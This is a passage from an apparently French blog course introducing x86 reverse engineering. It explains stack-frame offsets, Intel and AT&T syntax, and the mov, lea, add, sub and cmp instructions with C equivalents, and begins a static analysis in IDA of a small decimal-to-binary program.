en dessous de ebp comme vu avez pu le constater au précédent chapitre sur la pile. ceux qui ont un offset négatif ➖ : ce sont les variables locales. Elles sont situées au dessus de ebp. Pour rappel, comme les adresses basses sont vers le haut, tous les éléments situés au-dessus d’ebp ont donc une adresse plus petite : c’est pourquoi les variables locales ont un offset négatif. De la même manière, les arguments étant situés en-dessous d’epb, ces derniers ont un offset positif. Le fait que les variables locales aient un offset négatif n’est vrai que lorsque l’on utilise l’offset par rapport à ebp. En effet, dans certains cas, il est possible d’utiliser un offset par rapport à esp pour accéder à ces variables. Cet offset sera donc positif dans ce cas. Idem pour les arguments qui ont un offset positifs relativement à ebp, si on utilise esp, les offsets seront négatifs.IDA préfère en général utiliser des noms de variables pour désigner les variables locales ou les arguments. L’avantage est que l’on sait directement que ebp+var_8 pointe vers la variable qu’IDA a nommé var_8 car elle se situe à l’offset -8 par rapport à ebp.Vous vous demandez peut-être pourquoi il n’a pas appelé les deux variables a et b comme c’est le cas dans le code source. Et bien c’est très simple ! IDA ne sait tout simplement pas comment elles s’appellent. Rappelez-vous, lors de la compilation les noms des variables locales ne sont pas conservés. Ainsi, lorsque IDA désassemble le programme, il voit seulement que les zones mémoire ebp-8 et ebp-4 sont utilisées. IDA en déduit alors qu’il s’agit de variables locales qu’il renomme var_8 et var_4.argc, argv et envp On avait bien deux variables locales dans notre programme. Mais pourquoi IDA liste 3 arguments que sont argc, argv et envp alors que notre fonction main ne prend aucun argument ?En fait argc, argv et envp sont les 3 arguments que l’on peut donner, ou non, à une fonction main avec : argc : le nombre d’arguments donnés lors du lancement du programme. Par exemple, si le programme est lancé ainsi : ./exe arg1 arg2 alors argc vaudra 3 et non pas 2. En effet, rappelez-vous, le premier argument d’un programme en C est le nom du programme tel qu’il a été lancé. argv: un tableau de chaînes de caractères où chaque élément représente un argument. Le premier élément, à l’index 0, est donc le nom du programme. envp : un tableau de caractères où chaque élément est une paire clé=valeur qui correspond aux variables d’environnement. Par exemple : HOME=/home/usernameIl faut également savoir une chose, bien que dans le code source aucun argument n’est donné à notre fonction int main()eh bien argc, argv et envp seront tout de même présents en mémoire car ils y sont toujours insérés au lancement du programme. C’est peut-être la raison pour laquelle IDA crée toujours automatiquement 3 variables à leur nom.Le code désassembléNous venons de voir ce que signifiaient les informations situées au-dessus du code assembleur. Entrons désormais dans le vif du sujet : le code assembleur !Nous n’allons pas revenir en détail sur ce que font les instructions suivantes :push ebpmov ebp, espsub esp, 0x10Il s’agit du prologue qui permet d’avoir une stack frame assez grande pour y stocker les variables locales.Une fois le prologue terminé, nous avons les deux instructions suivantes :mov [ebp+var_8], 2mov [ebp+var_4], 3Avant d’aller plus loin, je vous propose que l’on comprenne de quoi est composé une instruction en assembleur avant de nous intéresser plus spécifiquement à l’instruction mov.Les différentes syntaxes : Intel et AT&amp;TJ’ai choisi d’éviter le sujet jusqu’à présent afin de ne pas vous surcharger d’informations qui n’étaient pas nécessaires mais celle-ci a son importance afin de ne pas être perturbé lors de l’utilisation de certains désassembleurs.Comme vous le savez, après la compilation d’un programme, on obtient un exécutable qu’il est nécessaire de désassembler pour pouvoir lire le code assembleur. Néanmoins, pour l’assembleur x86 il y a deux manières de lire (ou syntaxes) l’assembleur : Intel et AT&amp;T.Je vous propose de voir concrètement la différence entre les deux. Allez dans le dossier où se trouve le programme exe que nous analysons et lancez la commande suivante afin de désassembler via objdump le programme avec la syntaxe Intel : objdump -M intel -d exe.Nous obtenons ceci pour la fonction main:Rien de nouveau, c’est également comme ça qu’IDA a désassemblé notre fonction main. Maintenant désassemblons-le avec la syntaxe AT&amp;T via la commande : objdump -d exe.Comme vous pouvez le constater, il s’agit toujours de la même fonction mais celle-ci a été désassemblée, disons, différemment 😅. En fait, il s’agit tout simplement d’une manière différente de représenter le code assembleur.Avant d’expliciter les différences entre ces deux syntaxes, un peu de vocabulaire : opcode : il s’agit des octets tels qu’ils sont lus par le processeur et qui aboutit à l’exécution de l’instruction assembleur associée mnémonique : c’est en quelque sorte le nom de l’instruction exécutée opérandes : registres, pointeur ou valeurs concrètes utilisées par l’instructionIl est important de garder ces définitions en tête car cela fait partie du jargon en reverse.Comme convenu, voici les principales différences entre ces deux syntaxes : Ordre de la destination et de la source : Intel : l’opérande de gauche est la destination tandis que l’opérande de droite est la source AT&amp;T : l’inverse. l’opérande de droite est la destination tandis que l’opérande de gauche est la source Préfixes utilisés : Intel : Pas de préfixes en particuliers AT&amp;T : Les registres sont préfixés par % et les constantes par $ Format des pointeurs : Intel : Les pointeurs vers une zone mémoire sont placés entre crochets avec leur offset. Exemple : [ebp+8] AT&amp;T : Les pointeurs vers une zone mémoire sont placés entre parenthèses et les offsets sont placés avant la première parenthèse. Exemple : 8(%ebp) Personnellement mon cœur penche vers la syntaxe Intel qui est, selon moi, bien plus lisible que celle d’AT&amp;T avec des &amp; et % partout 😵‍💫. Ce choix est évidemment subjectif. De tout manière, comme vous avez pu le voir, chaque outil utilise par défaut la syntaxe qu’il préfère. Ainsi objdump utilise par défaut la syntaxe AT&amp;T tandis qu’IDA utilise la syntaxe Intel.L’instruction movRevenons à nos moutons 🐏 !L’instruction mov tire son nom de move qui signifie déplacer en anglais. Ainsi, cette instruction va permettre de réaliser le déplacement d’une valeur d’un endroit à un autre. A proprement parler il s’agit plus d’une copie que d’un déplacement. Il ne faut donc pas s’imaginer que la zone “source” est mise à zéro par mov : elle garde son contenu inchangé.Voyons ensemble les différentes manières d’utiliser mov car il y en a pas mal ! Je préfère que nous les voyons ensemble afin que vous sachiez où retrouver ces informations lorsque vous tomberez nez-à-nez avec une de ces formes.De plus, selon l’usage, une forme sera utilisée plutôt qu’une autre. Par exemple, il y a une forme permettant d’écrire ✏️ en mémoire et une autre d’y lire 📄. Toutes les instructions que nous voyons en détails dans ce cours sont présentes dans une page Annexes.mov reg_d, valueOpérandes reg_d : registre de destination value : valeur immédiate (ou concrète, constante).DétailsCette forme est la plus simple : elle affecte la valeur value au registre de destination reg_d.C’est une manière de réaliser des affectations de valeurs concrètes (immédiates).ExempleImaginons que eax vaille 0xaabbccdd puis que l’on exécute l’instruction mov eax, 0xdeadbeef. Alors la valeur de eax sera 0xdeadbeef.Équivalent en CJe vous propose de voir quelques équivalents en C (quand c’est possible) des différentes instructions étudiées, cela sera peut-être plus simple pour la comprendre.// Initilisation du registreint x = 0xaabbccdd; // eax// Equivalent de : mov eax, 0xdeadbeefx = 0xdeadbeef;mov reg_d, reg_sOpérandes reg_d : registre de destination reg_s : registre sourceDétailsLe contenu du registre source reg_s est copié dans le registre de destination reg_d.C’est une manière d’affecter le contenu d’une variable à une autre.Utilisation d’un debuggerJe vous propose d’utiliser un debugger d’assembleur pour exécuter pas à pas des instructions x86. Le site asmdebugger.com est assez simple et permet de réaliser ce que nous voulons faire.Il y en a un autre, assez simple d’utilisation, mais qui a plusieurs inconvénients : Il n’est pas possible de modifier la valeur initiale des registres à la main, nous devrons donc le faire via des instructions du type mov reg, value. (Même problème chez asmdebugger.com) Il n’est pas possible dans lancer le code directement en mode pas à pas, mais il y a une astuce pour y parvenir : lancer l’exécution et rapidement appuyer sur “pause”, vous aurez alors accès Les valeurs des registres ne sont affichés qu’en décimalExempleAlors voici le code assembleur que je vous propose d’exécuter pas à pas sur asmdebugger.com :Cliquez ensuite sur Restart. Vous pourrez alors cliquer sur Next instruction pour exécuter le code assembleur pas à pas.Comme il n’est pas possible de donner des valeurs initiales à la main aux registres, nous le faisons via les deux premières instructions.Vous pourrez ainsi constater qu’à l’issue de l’exécution de la dernière instruction mov ebx, eax, ebx vaut désormais 0xaabbccdd.Question : que se passe-t-il si on exécute le code suivant :mov eax, 0xdd mov ebx, 0x11223344 mov ebx, eaxEst-ce que seule l’octet de poids faible de ebx va changer ? Je vous propose de tester vous-même sur le debugger. Nous aurons amplement le temps de répondre à cette question en détails ultérieurement. N’hésitez pas à faire plusieurs tests au fur et à mesure que nous apprenons de nouvelles instructions assembleur. De cette manière vous serez actifs et cela vous facilitera l’apprentissage et la compréhension de l’assembleur.Équivalent en C// Initilisation des registresint a = 0xaabbccdd; // eaxint b = 0x11223344; // ebx// Equivalent de : mov ebx, eaxb = a; // b = 0xaabbccdd📄 mov reg_d, [reg_p]Opérandes reg_d : registre de destination reg_p : registre pointant vers une zone mémoireDétailsCette forme est un peu plus complexe que les précédentes car elle fait appel à la notion de pointeur.Ici reg_d est le registre de destination qui recevra une valeur, jusque-là rien de bien nouveau. Par contre, reg_p ne contient pas la valeur qui sera copiée mais un pointeur vers la valeur en question.Ainsi, c’est la valeur pointée par reg_p qui est copiée dans reg_d.C’est une manière de lire des données depuis la mémoire.ExempleImaginons que je veuille exécuter ces instructions :mov eax, 0x700000F0mov ebx, 0xcafebabemov ebx, [eax]On suppose également que l’adresse 0x700000F0 pointe vers l’entier de 4 octets 0x1a2b3c4d. Malheureusement les deux sites évoqués précédemment ne permettent pas d’initialiser ou manipuler facilement la mémoire, nous allons donc nous contenter de schémas, à défaut de pouvoir utiliser des debuggers plus puissants. Mais ne vous inquiétez pas, une partie dédiée à l’utilisation d’un “vrai” debugger arrive !L’état des registres avant l’exécution de mov ebx, [eax] est le suivant :Lorsque la dernière instruction mov ebx, [eax] sera exécutée, alors ebx vaudra 0x1a2b3c4d. Vous voyez la logique ?Légères variantesIl existe quelques variantes où un offset (positif ou négatif) est ajouté au registre reg_p, par exemple :mov edx, [eax + 8]mov ecx, [esi - 0x2000]Équivalent en CCette forme est très similaire à l’utilisation de pointeurs en C :// Initilisation des registresint *a = 0x700000f0; // eaxint b = 0xcafebabe; // ebx// Initilisation de la mémoire *a = 0x1a2b3c4d;// Equivalent de : mov ebx, [eax]b = *a; // b = 0x1a2b3c4dVous comprenez maintenant pourquoi connaître le C est un prérequis avant d’entamer le reverse 🤓 ? Ça nous facilite pas mal la compréhension des instructions assembleur !✏️ mov [reg_p], reg_sOpérandes reg_p : registre pointant vers une zone mémoire reg_s : registre sourceDétailsNormalement, si vous avez bien saisi le principe de l’instruction mov reg_d, [reg_p] vous devriez deviner le fonctionnement de celle-ci.En fait il s’agit de l’inverse de la précédente instruction. En effet, ici on copie la valeur du registre reg_s vers la zone mémoire pointée par reg_p.C’est une manière d’écrire des données en mémoire.ExempleReprenons le précédent exemple, nous avions initialement :Que se passe-t-il si j’exécute désormais mov [eax], ebx ?Eh bien après l’exécution de cette instruction, ces deux registre et cette zone mémoire seront dans cet état :Légères variantesIl existe quelques variantes où un offset (positif ou négatif) est ajouté au registre reg_p. Il est également possible de remplacer reg_s par une valeur immédiate. Par exemple :mov [ebp + 8], edimov [esi - 0x200], 0xdeadbeefÉquivalent en C// Initilisation des registresint *a = 0x700000f0; // eaxint b = 0xcafebabe; // ebx// Initilisation de la mémoire *a = 0x1a2b3c4d; // 0x700000f0 -&gt; 0x1a2b3c4d// Equivalent de : mov [ebx], eax*a = b; // 0x700000f0 -&gt; 0xcafebabe Il n’existe pas d’instruction permettant directement de déplacer des données d’une zone mémoire à une autre du type : mov [reg_p_d],[reg_p_s]. Pour plus d’informations, c’est par ici (en 🇬🇧). Il existe d’autres formes mais moins courantes. Ces quatre-là sont les principales, les autres étant des variations ou dérivées. Vous pouvez avoir la liste de toute les formes ici (attention les yeux 🥶).Résumé des différentes formesJe sais, ça fait beaucoup d’informations d’un coup, voici ainsi un résumé avec un exemple pour chacun des 4 formes possibles. Supposons que dans les 4 cas l’état initial est le suivant :Alors le résultat est : Les valeurs en 🔴 sont celles qui ont changé lors de l’exécutions de l’instruction tandis que celles en ⚫ sont les valeurs à l’origine du changement.Pour le coup, il est intéressant d’apprendre ces différentes formes car nous verrons par la suite de nouvelles instructions qui ont également différentes formes. Par exemple, pour comparer deux valeurs :cmp ecx, 0x12cmp rdi, rsicmp rax, [rbp + 8]Normalement, si vous avez compris le principe avec mov, vous devriez comprendre quels sont à chaque fois les deux valeurs comparées dans ces 3 précédentes instructions.L’instruction leaJ’ai choisi de mettre cette instruction dans ce chapitre car même si on ne l’a pas encore vue, elle peut être parfois mal comprise. De plus, elle ressemble en quelque sorte à un mov donc autant en parler dès à présent.lea signifie Load Effective Address. Cette instruction est principalement utilisée pour charger des adresses, avec ou sans offset ajouté.lea reg, [...]Opérandes reg : registre de destination [...] : valeur qui est souvent une adresse mémoireDétailsCette instruction a ainsi une seule forme où la première opérande est toujours un registre, la seconde opérande est une valeur qui est souvent une adresse vers une zone mémoire.Ce que fait lea est tout simplement la copie de l’opérande de droite, sans la déréférencer, vers le registre de destination.Voici quelques exemples :lea eax, [0x400000] ; ici eax = 0x400000 lea edx, [ebp+8] ; ici edx = ebp +8lea ecx, [ebx+eax] ; ici ecx = ebx+eaxExemple Comme lea ne déréférence pas la seconde opérande, l’instruction lea eax, [0x400000] copie bien 0x400000 dans eax et non pas la valeur pointée par 0x400000.En fait, plus simplement, lea copie la valeur entre les crochets vers le registre de destination. En d’autres termes, lea reg, [...] est équivalente à mov reg, ....J’en vois déjà certains froncer les sourcils 🤨. Mais si cela est équivalent à faire un mov, pourquoi se casser la tête avec une instruction en plus ?En fait, contrairement à mov, l’instruction lea permet de faire de petites opérations au niveau de l’opérande de droite. Par exemple, si je souhaite affecter à ecx la somme de ebx et eax en utilisant mov, je suis obligé d’utiliser une instruction supplémentaire telle que add pour faire l’addition et ensuite stocker le résultat dans ecx avec mov.Tandis qu’avec lea, je peux simplement faire : lea ecx, [ebx + eax]. Vous savez quoi ? On peut même faire lea ecx, [ebx + eax*2]😎.Ainsi, lea permet de : Stocker le résultat de simples opérations en écrivant une seule instruction De manipuler des adresses en y ajoutant, ou non, un offset S’il n’y avait qu’une seule chose à retenir de lea : il s’agit d’un mov qui copie la “valeur entre crochets” vers la destination." }, { "title": "Partie 9 - Analyse statique d'un mini-programme - fin (5/5)", "url": "/posts/introduction_au_reverse_partie_9/", "categories": "Reverse, Introduction au reverse", "tags": "x86, reverse, linux", "date": "2023-10-22 08:00:00 -0200", "snippet": "Analyse statique d’un mini-programme : fin (5/5)Et si on finissait ce reverse de la fonction main qui traîne depuis pas mal de temps ? Cela nous permettra de nous attaquer à des exemples de plus en...", "content": "Analyse statique d’un mini-programme : fin (5/5)Et si on finissait ce reverse de la fonction main qui traîne depuis pas mal de temps ? Cela nous permettra de nous attaquer à des exemples de plus en plus croustillants 👀.Pour rappel, nous nous étions arrêtés ici :Comme vous savez désormais comment fonctionne mov, je vous propose de trouver par vous-même ce que font ces 4 instructions mov en faisant un petit schéma avec la pile d’exécution.C’était pas si compliqué finalement ?Bon, on passe aux détails !Tout d’abord l’exécution des instructions mov [ebp+var_8], 2 et mov [ebp+var_4], 3 va permettre de stocker les valeurs 2 et 3 dans la pile : Nous reprenons à chaque fois les mêmes adresses dans les schémas pour que ce soit plus simple à retenir. En réalité, de nos jours, les adresses de la pile changent à chaque exécution. Pas si vite ! Tu nous as dit que seules deux opérations sont possibles sur la pile : empiler avec push et dépiler avec pop. Pourquoi ici le contenu de la pile est directement modifié avec mov 😨 ?En fait la structure de données qu’est la pile n’est effectivement censée n’avoir que deux opérations : empiler et dépiler. Sauf que le soucis est que pour accéder aux valeurs “au milieu” de la pile, ce n’est pas évident.J’imagine que ceux qui ont conçu les processeurs se sont accordés le droit de pouvoir accéder et modifier directement des valeurs sur la pile.Poursuivons l’analyse : les instructions mov edx, [ebp+var_8] et mov eax, [ebp+var_4] vont récupérer ces valeurs depuis la stack pour les stocker dans les registres edx et eax. Mais ce ne serait pas plus simple de faire directement mov edx, 2 et mov eax, 3 ?Oui ce serait effectivement plus simple ! Mais nous avons compilé le programme sans activer les optimisation de compilation. De ce fait, le compilateur traduit presque ligne par ligne notre fonction C qui était :int main() { int a = 2; int b = 3; return a+b; } Il est possible d’activer les optimisations en utilisant le paramètre -O avec gcc. Par exemple gcc -O2 main.c -o exe_optimisé.Comme nous avions créé deux variables avant de faire l’addition, le compilateur en fait de même. De plus, comme vous le savez, l’endroit de prédilection pour stocker des variables locales est la pile.Enfin, avant l’épilogue, nous avons une dernière instruction à exécuter : add eax, edx.L’instruction add reg_d, reg_sOpérandes reg_d : registre de destination reg_s : registre sourceDétails“Add” en anglais signifie “ajouter”.Cette instruction réalise ainsi deux actions : addition de la valeur du registre source avec celui de destination stockage du résultat (la somme) dans le registre de destinationC’est de cette manière que sont réalisées les additions. Lorsque la somme des deux termes dépasse le plus grand entier que peut stocker le registre de destination, le résultat est tronqué pour qu’il puisse y être stockéExempleFaisons la somme de 0xf0000034 et 0x20001200 :mov eax, 0xf0000034mov ebx, 0x20001200add eax, ebx ; eax = 0x10001234 et non pas 0x110001234 car le résultat est tronqué aux 32 bits de poids faibleÉquivalent en C// Initilisation des registresint a = 0xf0000034; int b = 0x20001200; a = a + b;Autres formesIl existe plusieurs autres formes : add reg, value add [ptr], value add reg, [ptr]Leur fonctionnement est toujours le même : somme des deux termes et stockage dans l’opérande de destination. Toutes les instructions, sauf mention contraire (comme lea), déréférencent les pointeurs vers des zones mémoire. Dans les précédentes formes, ce n’est donc pas le pointeur ptr qui est utilisé dans la somme mais la valeur pointée par ptr qui est [ptr] (qui serait *ptr en C).Valeur de retourOn y est presque ! Nous venons de finir l’analyse de toutes les instructions situées avant l’épilogue.Nous pouvons donc résumé la fonction main (désassemblée) de la sorte : Prologue Stockage des variables locales Copie des variables locales Addition Épilogue et retourNéanmoins il manque quelque chose dont nous n’avons pas parlé. Un indice ?int main() { int a = 2; int b = 3; return a+b; // &lt;-----}Vous voyez de quoi je veux parler 🤔 ? La valeur de retour ?Oui c’est ça !Nous avons vu que la dernière instruction exécutée avec l’épilogue est une addition. Mais nous n’avons pas vu comment est retourné le résultat (ici, la somme). Enfin si, nous en avons brièvement parlé lorsque l’on a évoqué la différence entre adresse de retour et valeur de retour.En fait, par convention pour les programme C compilé vers x86, la valeur de retour est toujours retournée par eax (ou rax en 64 bits).De ce fait, en réalisant l’addition avec add eax, edx, le résultat est directement stocké dans eax et le tour est joué !📋 SynthèseTout d’abord félicitations pour votre premier reverse 😎🥳 ! Il est vrai que cela a été long car il a fallu prendre pas mal de temps pour comprendre le fonctionnement des registres, de la pile et de quelques instructions très utilisées.Toutefois, ce précieux temps n’est pas perdu, c’est même du temps de gagné : une fois que l’on a bien saisi les fondamentaux du reverse/assembleur, il est bien plus facile d’apprendre de nouvelles notions, instructions etc.Voici un petit résumé des points abordés avant de poursuivre avec d’autres notions importantes en reverse : Les variables locales peuvent être accédées via un offset négatif par rapport à ebp Les arguments peuvent être accédés via un offset positif par rapport à ebp Il existe deux manières, ou syntaxes, d’afficher de l’assembleur x86 : Intel et AT&amp;T Dans la syntaxe Intel, la source est l’opérande de droite et la destination est l’opérande de gauche Dans la syntaxe AT&amp;T, c’est l’inverse L’instruction mov permet de copier des données d’une source vers une destination et dispose de 4 principales formes. Ces formes peuvent avoir quelques variantes. La forme mov reg_d, [reg_p] est principalement utilisée pour lire des données depuis la mémoire La forme mov [reg_p], reg_s est principalement utilisée pour écrire des données vers la mémoire L’instruction lea permet de réaliser des affectations de valeurs sans déréférencement avec la possibilité de faire de petites opérations directement sur l’opérande source La valeur de retour d’une fonction est retournée via eax (ou rax)" }, { "title": "Partie 10 - Structures de contrôle - les comparaisons (1/3)", "url": "/posts/introduction_au_reverse_partie_10/", "categories": "Reverse, Introduction au reverse", "tags": "x86, reverse, linux", "date": "2023-10-21 08:00:00 -0200", "snippet": "Structures de contrôle : les comparaisonsA ce stade, nous n’avons pas encore tous les éléments pour pouvoir nous attaquer à des programmes plus costauds ou même de simple crackmes. Nous allons donc...", "content": "Structures de contrôle : les comparaisonsA ce stade, nous n’avons pas encore tous les éléments pour pouvoir nous attaquer à des programmes plus costauds ou même de simple crackmes. Nous allons donc continuer tranquillement à allier théorie et pratique pour en apprendre davantage sur les bases de l’assembleur, ce qui nous permettra d’analyser plus sereinement de nouveaux programmes.L’idée n’est pas d’apprendre toutes les instructions assembleur, ce serait beaucoup trop ennuyant et pas la meilleure manière. Par contre, il y a des notions dont on ne peut pas faire abstraction car elles sont présentes dans presque tous les programmes.Parmi ces notions, on peut citer les structures de contrôle telles que les boucles et les conditions. Au fur et à mesure que l’on avance en reverse, nous allons découvrir de plus en plus d’instructions. Afin de ne pas alourdir le cours en insérant des instructions dans tous les sens, celles-ci seront présentes en bas de page dans la section Instructions mentionnées. Il est important de bien prendre le temps de comprendre le fonctionnement des diverses instructions que l’on découvre ensemble.Le programme de testComme d’habitude, je vous propose de réaliser un petit programme que nous compilerons et analyserons. Pour l’instant, nous allons continuer en analyse statique. Nous commencerons à utiliser un debugger une fois que nous serons solides sur nos appuis 💪.Voici le programme que je vous propose d’étudier :#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; void printBin(int nombre) { if (nombre &lt; 0) { printf(\"Le nombre doit être un entier positif.\\n\"); return; } unsigned char bits[32]; int i = 0; while (nombre &gt; 0) { bits[i] = nombre % 2; nombre /= 2; i++; } printf(\"Représentation binaire : \"); for (int j = i - 1; j &gt;= 0; j--) { printf(\"%d\", bits[j]); } printf(\"\\n\"); } int main(int argc, char *argv[]) { if (argc != 2) { printf(\"Utilisation: %s &lt;nombre&gt;\\n\", argv[0]); return 1; } int nombre = atoi(argv[1]); printBin(nombre); return 0; }Nous allons le compiler avec les options suivantes : gcc -m32 -fno-stack-protector -fno-pie main.c -o decimal_to_binaire.Concernant les options : -fno-pie : nous l’avions déjà utilisé auparavant. Cela permet de faire en sorte que, lors de l’exécution, le programme (les instructions notamment) seront toujours chargées au même endroit. Etant donné que nous allons réaliser une analyse statique, nous ne verrons pas de différence. Néanmoins, en utilisant cette option, cela supprime quelques instructions (pas forcément compliquées), ce qui rend le code assembleur plus clean. -fno-stack-protector : cela permet de supprimer les canaris (ou stack cookies). Il s’agit d’une protection permettant de limiter les vulnérabilités liées aux buffer overflow (dépassement de mémoire tampon). En la supprimant cela supprime quelques instructions et, ainsi, surchargera moins le code assembleur.Vous pouvez également télécharger le programme ici : decimal_to_binaire.N’hésitez pas à prendre quelques minutes pour bien comprendre comment fonctionne le programme (ce qu’il prend en entrée, ce qu’il génère en sortie et la manière dont c’est fait).C’est bon, on peut y aller ? Let’s go !La fonction mainJe vous propose d’ouvrir le programme compilé decimal_to_binaire avec IDA. Si vous le souhaitez, vous pouvez afficher les adresse dans Options -&gt; General -&gt; Line prefixes.Ensuite, allez dans la fonction main en double cliquant sur son nom dans la liste des fonctions. Comme nous avons déjà vu comment fonctionne le prologue ainsi que certaines instructions, nous n’allons pas nous arrêter à chaque instruction, sauf si cela est nécessaire, ou nouveau. Si vous avez des lacunes, et ça arrive, n’hésitez pas à revenir aux précédents chapitres 😉. Je vous conseille également d’avoir un petit cahier de brouillon à côté de vous, cela permet de faire des schémas des différents états de la pile et des registres. C’est toujours plus commode que de tout imaginer 😄.PrologueLes premières instructions du main sont les suivantes :Toutes ces instructions correspondent au prologue. Les trois premières instructions permettent de sauvegarder sur la pile la valeur de esp avant de l’aligner via and esp, 0xFFFFFFF01. Cela permettra, à la fin de la fonction main de récupérer la valeur de esp tel qu’il était au moment de rentrer dans le main.On reconnaît ensuite le fameux push ebp; mov ebp, esp.A partir de là nous avons une instruction psuh ecx. Alors là il va falloir se concentrer pour bien comprendre ce que contient ecx à ce stade. De l’adresse 0x127D à l’adresse 0x128A, ecx garde toujours la même valeur. Cette valeur est esp + 4 où esp est évidemment la valeur de ce registre lors de l’instruction lea ecx, [esp + 4] et non pas après alignement.Or, lorsque l’on est au niveau de cette instruction, la stack a cette forme :Ainsi, vous l’avez compris, la valeur de ecx qui est mise sur la pile avec push ecx est … l’adresse (ou pointeur vers) le premier argument : argc. En réalité, il n’était pas nécessaire d’empiler ecx car cela n’a pas tellement d’utilité en l’occurrence. Par contre, il arrive souvent qu’à la fin du prologue, il y ait un certain nombre de push reg de réalisé et qu’à la fin de la fonction, le même nombre de pop reg soit réalisé. Cela permet de pouvoir sauvegarder l’ancienne valeur d’un registre, de l’utiliser dans une fonction, puis de restaurer son ancienne valeur avant de quitter la fonction. Cette méthode est notamment utilisée pour préserver certains registres (ex: rbx,r12,r13 …) qui doivent être conservées selon les règles des conventions d’appel en x86_64.Enfin, le sub esp, 0x142 permet d’allouer de l’espace dans la stack frame de la fonction main.Le corps de la fonction mainLes instructions qui suivent immédiatement le prologue sont :Comme ecx contient l’adresse de argc, après le mov, eax contiendra également l’adresse de argc.Intéressons-nous à l’instruction cmp dword ptr [eax], 2. Avant de comprendre comment fonctionne cmp, je vois la question venir, prenons le temps de comprendre ce que signifie dword ptr.Les tailles de donnéesVous avez déjà programmé en C. Vous savez donc que, selon le programme et l’utilisation des variables, vous utiliserez des types de variables différents.Vous savez qu’un char vaut un octet, de même qu’un unsigned char. un int vaut (généralement) 4 octets, de même qu’un unsigned int, un long et unsigned long.Ainsi, pour une taille donnée, il existe plusieurs types de variables qui ont ladite taille. Etant donné que l’assembleur est situé au plus bas niveau, nous n’avons pas réellement besoin de savoir si un nombre est signé, s’il s’agit d’un int ou long.En fait, lors de la compilation ces informations sont d’ores et déjà transmises lors de la génération des instructions assembleur correspondantes. Par exemple, si une variable var_a est de type char, elle sera stockée, par exemple, dans ax alors que s’il s’agit d’un int, elle sera stockée dans eax et s’il s’agit d’un long long dans rax.De même, si la variable est signée, des instructions prenant en compte le signe seront utilisée, le cas échéant, les instructions qui ne tiennent pas compte du signe seront utilisées.Ainsi, une fois que le programme est compilé, que les bonnes tailles de registres sont choisies et que les bonnes instructions sont choisies, les types des variables ne sont plus d’aucune utilité pour l’exécution du programme.De cette manière, en assembleur, ce qui nous intéresse lorsque l’on parle d’une donnée ou d’une variable n’est pas son type mais sa taille.Ces différentes tailles sont les suivante : byte : 1️⃣ octet, donc 8 bits. Il s’agit de la plus petite taille manipulée. Ainsi vous ne verrez pas d’opérandes qui ont une taille plus petite qu’un octet. Exemple : 0xef. word : 2️⃣ octets. Exemple : 0xbeef. dword : 4️⃣ octets. “double word” : il a donc deux fois la taille qu’a un word (merci Sherlock 🕵️). Exemple : 0xdeadbeef. qword : 8️⃣ octets. “quad word” : il a donc deux fois la taille qu’a un dword (disponible seulement en x86_64). Exemple : 0xcafebabedeadbeef.Voici un schéma des différentes tailles à partir d’un pointeur vers l’adresse 0x400010 : Mais pourquoi ces tailles ne sont visibles que lorsque l’on manipule des pointeurs ? Par exemple : dword ptr [eax]En fait lorsqu’un instruction manipule le contenu des registres, tout le contenu du registre est utilisé. Ainsi, si on veut adapter la taille de l’opération, il suffit d’adapter directement la taille du registre en question. Par exemple, si je veux déplacer seulement les 2 octets (un word donc) de eax vers edx, on peut simplement faire mov edx, ax.La raison pour laquelle, lorsque l’on manipule des pointeurs, il est nécessaire de spécifier la taille à traiter est qu’une adresse mémoire est toujours sur 4 octets ( en 32 bits) ou 8 octets (en 64 bits même si tous les octets ne sont pas utilisés).Imaginons que nous ayons ces deux variables (pointeurs en l’occurrence) :char *un_caractere ; // pointeur vers un char (1 octet)int *age; // pointeur vers un int (4 octets)La taille de ces pointeurs (l’adresse pointée) est la même, pourtant les données pointées sont de tailles différentes. Ainsi, les instructions n’agirons pas sur la même taille de données : pour un_caractère, on aura une instruction de ce type ➡️ mov reg_d, byte ptr [...] pour age, on aura une instruction de ce type ➡️ mov reg_d, dword ptr [...] Un octet en anglais se dit byte. Attention à ne pas confondre avec bit ! En effet, le bit est la plus petite unité manipulable alors qu’un octet/byte est composé de 8 bits ! D’ailleurs, en informatique, on préfère parler en octets/bytes plutôt que bit, c’est plus commode.Les comparaisonsL’instruction cmp dword ptr [eax], 2 compare les 4 octets pointés par eax avec 2, ou plus précisément 0x000000002. Il existe deux instructions utilisées pour réaliser des comparaisons : cmp et test.La principale différence entre les deux est la suivante : cmp3 réalise une soustraction des deux termes (comme avec sub mais sans stocker le résultat) test4 réalise un “et logique” and entre les deux termes sans stocker le résultatComme eax contenait un pointeur vers argc, alors cmp dword ptr [eax], 2 compare argc et 2. J’ai bien pris le temps de comprendre comment fonctionne cmp et test mais je ne comprends pas comment elles sont utilisées avec les sauts en assembleur ?Ça tombe bien, nous allons voir cela tout de suite !ℹ️ Instructions mentionnées1️⃣ L’instruction and ope_d, ope_sOpérandes ope_d : opérande de destination. Peut être : un registre un pointeur ope_s : opérande source. Peut être une valeur immédiate un registre un pointeur (vers une zone mémoire) DétailsL’instruction and réalise un “et logique” entre les bits des deux opérandes. Le résultat est ensuite sauvegardé dans la première opérande (qui ne peut donc pas être une valeur immédiate).Exemplemov eax, 0xff00ff00mov ebx, 0xabcdef12and eax, ebx ; eax = 0xab00ef00Équivalent en Cint a = 0xff00ff00; int b = 0xabcdef12; a = a &amp; b;Autres formesIl existe d’autres formes en fonction du type d’opérandes mais le principe est toujours le même.2️⃣ L’instruction sub ope_d, ope_sOpérandes ope_d : opérande de destination. Peut être : un registre un pointeur ope_s : opérande source. Valeur soustraite. Peut être une valeur immédiate un registre un pointeur Détails“Sub” provient de “substract” qui signifie soustraire.Cette instruction réalise ainsi deux actions : soustraction de l’opérande source avec l’opérande de destination ope_d - ope_s. stockage du résultat (la différence) dans l’opérande de destinationC’est de cette manière que sont réalisées les soustractions. Contrairement à add, l’ordre des opérandes est important dans sub. En effet, en inversant les opérandes, on inverse le signe du résultat.ExempleFaisons la différence de 0xf0000034 avec 0x10000034 :mov eax, 0xf0000034mov ebx, 0x10000034sub eax, ebx ; eax = 0xe0000000Équivalent en Cint a = 0xf0000034; int b = 0x10000034; a = a - b;Autres formesIl existe d’autres formes mais le principe est toujours le même.3️⃣ L’instruction cmp ope_d, ope_sOpérandes ope_d : opérande de destination. Peut être : un registre un pointeur ope_s : opérande source. Peut être : une valeur immédiate un registre un pointeur DétailsLa comparaison avec cmp est effectuée d’une manière qui peut nous paraître bizarre. En effet, cmp effectue la soustraction suivante sub 